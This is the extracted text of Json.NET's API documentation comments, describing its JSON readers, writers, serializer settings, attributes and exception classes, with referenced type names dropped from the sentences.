Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. If there is no existing value then null will be used. The existing value has a value. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Instructs the to use the specified when serializing the member or class. Gets the of the . The of the . The parameter list to use when constructing the described by . If null, the default constructor is used. Initializes a new instance of the class. Type of the . Initializes a new instance of the class. Type of the . Parameter list to use when constructing the . Can be null. Represents a collection of . Instructs the how to serialize the collection. Initializes a new instance of the class. Initializes a new instance of the class with the specified container Id. The container Id. The exception thrown when an error occurs during JSON serialization or deserialization. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Initializes a new instance of the class. The that holds the serialized object data about the exception being thrown. The that contains contextual information about the source or destination. The parameter is null. The class name is null or is zero (0). Instructs the to deserialize properties with no matching class member into the specified collection and write values during serialization. Gets or sets a value that indicates whether to write extension data when serializing the object. true to write extension data when serializing the object; otherwise, false. The default is true. Gets or sets a value that indicates whether to read extension data when deserializing the object. true to read extension data when deserializing the object; otherwise, false. The default is true. Initializes a new instance of the class. Instructs the not to serialize the public field or public read/write property value. Base class for a table of atomized string objects. Gets a string containing the same characters as the specified range of characters in the given array. The character array containing the name to find. The zero-based index into the array specifying the first character of the name. The number of characters in the name. A string containing the same characters as the specified range of characters in the given array. Instructs the how to serialize the object. Gets or sets the member serialization. The member serialization. Gets or sets the missing member handling used when deserializing this object. The missing member handling. Gets or sets how the object's properties with null values are handled during serialization and deserialization. How the object's properties with null values are handled during serialization and deserialization. Gets or sets a value that indicates whether the object's properties are required. A value indicating whether the object's properties are required. Initializes a new instance of the class. Initializes a new instance of the class with the specified member serialization. The member serialization. Initializes a new instance of the class with the specified container Id. The container Id. Instructs the to always serialize the member with the specified name. Gets or sets the type used when serializing the property's collection items. The collection's items type. The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. [JsonProperty(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] Gets or sets the of the . The of the . The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. [JsonProperty(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] Gets or sets the null value handling used when serializing this property. The null value handling. Gets or sets the default value handling used when serializing this property. The default value handling. Gets or sets the reference loop handling used when serializing this property. The reference loop handling. Gets or sets the object creation handling used when deserializing this property. The object creation handling. Gets or sets the type name handling used when serializing this property. The type name handling. Gets or sets whether this property's value is serialized as a reference. Whether this property's value is serialized as a reference. Gets or sets the order of serialization of a member. The numeric order of serialization. Gets or sets a value indicating whether this property is required. A value indicating whether this property is required. Gets or sets the name of the property. The name of the property. Gets or sets the reference loop handling used when serializing the property's collection items. The collection's items reference loop handling. Gets or sets the type name handling used when serializing the property's collection items. The collection's items type name handling. Gets or sets whether this property's collection items are serialized as a reference. Whether this property's collection items are serialized as a reference. Initializes a new instance of the class. Initializes a new instance of the class with the specified name. Name of the property. Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. Asynchronously reads the next JSON token from the source. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns true if the next token was read successfully; false if there are no more tokens to read. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously skips the children of the current token. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON token from the source as a []. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the []. This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON token from the source as a . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the . This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Specifies the state of the reader. A read method has not been called. The end of the file has been reached successfully. Reader is at a property. Reader is at the start of an object. Reader is in an object. Reader is at the start of an array. Reader is in an array. The method has been called. Reader has just read a value. Reader is at the start of a constructor. Reader is in a constructor. An error occurred that prevents the read operation from continuing. The end of the file has been reached successfully. Gets the current reader state. The current reader state. Gets or sets a value indicating whether the source should be closed when this reader is closed. true to close the source when this reader is closed; otherwise false. The default is true. Gets or sets a value indicating whether multiple pieces of JSON content can be read from a continuous stream without erroring. true to support reading multiple pieces of JSON content; otherwise false. The default is false. Gets the quotation mark character used to enclose the value of a string. Gets or sets how time zones are handled when reading JSON. Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. Gets or sets how custom date formatted strings are parsed when reading JSON. Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . A null value means there is no maximum. The default value is 128. Gets the type of the current JSON token. Gets the text value of the current JSON token. Gets the .NET type for the current JSON token. Gets the depth of the current token in the JSON document. The depth of the current token in the JSON document. Gets the path of the current JSON token. Gets or sets the culture used when reading JSON. Defaults to . Initializes a new instance of the class. Reads the next JSON token from the source. true if the next token was read successfully; false if there are no more tokens to read. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a . A . This method will return null at the end of an array. Reads the next JSON token from the source as a []. A [] or null if the next JSON token is null. This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Skips the children of the current token. Sets the current token. The new token. Sets the current token and value. The new token. The value. Sets the current token and value. The new token. The value. A flag indicating whether the position index inside an array should be updated. Sets the state based on current token type. Releases unmanaged and - optionally - managed resources. true to release both managed and unmanaged resources; false to release only unmanaged resources. Changes the reader's state to . If is set to true, the source is also closed. The exception thrown when an error occurs while reading JSON text. Gets the line number indicating where the error occurred. The line number indicating where the error occurred. Gets the line position indicating where the error occurred. The line position indicating where the error occurred. Gets the path to the JSON where the error occurred. The path to the JSON where the error occurred. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Initializes a new instance of the class. The that holds the serialized object data about the exception being thrown. The that contains contextual information about the source or destination. The parameter is null. The class name is null or is zero (0). Initializes a new instance of the class with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The path to the JSON where the error occurred. The line number indicating where the error occurred. The line position indicating where the error occurred. The exception that is the cause of the current exception, or null if no inner exception is specified. Instructs the to always serialize the member, and to require that the member has a value. The exception thrown when an error occurs during JSON serialization or deserialization. Gets the line number indicating where the error occurred. The line number indicating where the error occurred. Gets the line position indicating where the error occurred. The line position indicating where the error occurred. Gets the path to the JSON where the error occurred. The path to the JSON where the error occurred. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Initializes a new instance of the class. The that holds the serialized object data about the exception being thrown. The that contains contextual information about the source or destination. The parameter is null. The class name is null or is zero (0). Initializes a new instance of the class with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The path to the JSON where the error occurred. The line number indicating where the error occurred. The line position indicating where the error occurred. The exception that is the cause of the current exception, or null if no inner exception is specified. Serializes and deserializes objects into and from the JSON format. The enables you to control how objects are encoded into JSON. Occurs when the errors during serialization and deserialization. Gets or sets the used by the serializer when resolving references. Gets or sets the used by the serializer when resolving type names. Gets or sets the used by the serializer when resolving type names. Gets or sets the used by the serializer when writing trace messages. The trace writer. Gets or sets the equality comparer used by the serializer when comparing references. The equality comparer. Gets or sets how type name writing and reading is handled by the serializer. The default value is . should be used with caution when your application deserializes JSON from an external source. Incoming types should be validated with a custom when deserializing with a value other than . Gets or sets how a type name assembly is written and resolved by the serializer. The default value is . The type name assembly format. Gets or sets how a type name assembly is written and resolved by the serializer. The default value is . The type name assembly format. Gets or sets how object references are preserved by the serializer. The default value is . Gets or sets how reference loops (e.g. a class referencing itself) is handled. The default value is . Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. The default value is . Gets or sets how null values are handled during serialization and deserialization. The default value is . Gets or sets how default values are handled during serialization and deserialization. The default value is . Gets or sets how objects are created during deserialization. The default value is . The object creation handling. Gets or sets how constructors are used during deserialization. The default value is . The constructor handling. Gets or sets how metadata properties are used during deserialization. The default value is . The metadata properties handling. Gets a collection that will be used during serialization. Collection that will be used during serialization. Gets or sets the contract resolver used by the serializer when serializing .NET objects to JSON and vice versa. Gets or sets the used by the serializer when invoking serialization callback methods. The context. Indicates how JSON text output is formatted. The default value is . Gets or sets how dates are written to JSON text. The default value is . Gets or sets how time zones are handled during serialization and deserialization. The default value is . Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. The default value is . Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. The default value is . Gets or sets how special floating point numbers, e.g. , and , are written as JSON text. The default value is . Gets or sets how strings are escaped when writing JSON text. The default value is . Gets or sets how and values are formatted when writing JSON text, and the expected date format when reading JSON text. The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". Gets or sets the culture used when reading JSON. The default value is . Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . A null value means there is no maximum. The default value is 128. Gets a value indicating whether there will be a check for additional JSON content after deserializing an object. The default value is false. true if there will be a check for additional JSON content after deserializing an object; otherwise, false. Initializes a new instance of the class. Creates a new instance. The will not use default settings from . A new instance. The will not use default settings from . Creates a new instance using the specified . The will not use default settings from . The settings to be applied to the . A new instance using the specified . The will not use default settings from . Creates a new instance. The will use default settings from . A new instance. The will use default settings from . Creates a new instance using the specified . The will use default settings from as well as the specified . The settings to be applied to the . A new instance using the specified . The will use default settings from as well as the specified . Populates the JSON values onto the target object. The that contains the JSON structure to read values from. The target object to populate values onto. Populates the JSON values onto the target object. The that contains the JSON structure to read values from. The target object to populate values onto. Deserializes the JSON structure contained by the specified . The that contains the JSON structure to deserialize. The being deserialized. Deserializes the JSON structure contained by the specified into an instance of the specified type. The containing the object. The of object being deserialized. The instance of being deserialized. Deserializes the JSON structure contained by the specified into an instance of the specified type. The containing the object. The type of the object to deserialize. The instance of being deserialized. Deserializes the JSON structure contained by the specified into an instance of the specified type. The containing the object. The of object being deserialized. The instance of being deserialized. Serializes the specified and writes the JSON structure using the specified . The used to write the JSON structure. The to serialize. Serializes the specified and writes the JSON structure using the specified . The used to write the JSON structure. The to serialize. The type of the value being serialized. This parameter is used when is to write out the type name if the type of the value does not match. Specifying the type is optional. Serializes the specified and writes the JSON structure using the specified . The used to write the JSON structure. The to serialize. The type of the value being serialized. This parameter is used when is Auto to write out the type name if the type of the value does not match. Specifying the type is optional. Serializes the specified and writes the JSON structure using the specified . The used to write the JSON structure. The to serialize. Specifies the settings on a object. Gets or sets how reference loops (e.g. a class referencing itself) are handled. The default value is . Reference loop handling. Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. The default value is . Missing member handling. Gets or sets how objects are created during deserialization. The default value is . The object creation handling. Gets or sets how null values are handled during serialization and deserialization. The default value is . Null value handling. Gets or sets how default values are handled during serialization and deserialization. The default value is . The default value handling. Gets or sets a collection that will be used during serialization. The converters. Gets or sets how object references are preserved by the serializer. The default value is . The preserve references handling. Gets or sets how type name writing and reading is handled by the serializer. The default value is . should be used with caution when your application deserializes JSON from an external source. Incoming types should be validated with a custom when deserializing with a value other than . The type name handling. Gets or sets how metadata properties are used during deserialization. The default value is . The metadata properties handling. Gets or sets how a type name assembly is written and resolved by the serializer. The default value is . The type name assembly format. Gets or sets how a type name assembly is written and resolved by the serializer. The default value is . The type name assembly format. Gets or sets how constructors are used during deserialization. The default value is . The constructor handling. Gets or sets the contract resolver used by the serializer when serializing .NET objects to JSON and vice versa. The contract resolver. Gets or sets the equality comparer used by the serializer when comparing references. The equality comparer. Gets or sets the used by the serializer when resolving references. The reference resolver. Gets or sets a function that creates the used by the serializer when resolving references. A function that creates the used by the serializer when resolving references. Gets or sets the used by the serializer when writing trace messages. The trace writer. Gets or sets the used by the serializer when resolving type names. The binder. Gets or sets the used by the serializer when resolving type names. The binder. Gets or sets the error handler called during serialization and deserialization. The error handler called during serialization and deserialization. Gets or sets the used by the serializer when invoking serialization callback methods. The context. Gets or sets how and values are formatted when writing JSON text, and the expected date format when reading JSON text. The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . A null value means there is no maximum. The default value is 128. Indicates how JSON text output is formatted. The default value is . Gets or sets how dates are written to JSON text. The default value is . Gets or sets how time zones are handled during serialization and deserialization. The default value is . Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. The default value is . Gets or sets how special floating point numbers, e.g. , and , are written as JSON. The default value is . Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. The default value is . Gets or sets how strings are escaped when writing JSON text. The default value is . Gets or sets the culture used when reading JSON. The default value is . Gets a value indicating whether there will be a check for additional content after deserializing an object. The default value is false. true if there will be a check for additional content after deserializing an object; otherwise, false. Initializes a new instance of the class. Represents a reader that provides fast, non-cached, forward-only access to JSON text data. Asynchronously reads the next JSON token from the source. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns true if the next token was read successfully; false if there are no more tokens to read. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a []. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the []. This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the . This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Initializes a new instance of the class with the specified . The containing the JSON data to read. Gets or sets the reader's property name table. Gets or sets the reader's character buffer pool. Reads the next JSON token from the underlying . true if the next token was read successfully; false if there are no more tokens to read. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a . A . This method will return null at the end of an array. Reads the next JSON token from the underlying as a []. A [] or null if the next JSON token is null. This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Changes the reader's state to . If is set to true, the underlying is also closed. Gets a value indicating whether the class can return line information. true if and can be provided; otherwise, false. Gets the current line number. The current line number or 0 if no line information is available (for example, returns false). Gets the current line position. The current line position or 0 if no line information is available (for example, returns false). Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the JSON value delimiter. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the specified end token. The end token to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously closes this writer. If is set to true, the destination is also closed. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the end of the current JSON object or array. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes indent characters. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes an indent space. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes raw JSON without changing the writer's state. The raw JSON to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a null value. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the property name of a name/value pair of a JSON object. The name of the property. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the property name of a name/value pair of a JSON object. The name of the property. A flag to indicate whether the text should be escaped when it is written as a JSON property name. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the beginning of a JSON array. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the beginning of a JSON object. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the start of a constructor with the given name. The name of the constructor. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes an undefined value. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the given white space. The string of white space characters. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a [] value. The [] value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a comment /*...*/ containing the specified text. Text to place inside the comment. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the end of an array. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the end of a constructor. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the end of a JSON object. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes raw JSON where a value is expected and updates the writer's state. The raw JSON to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. 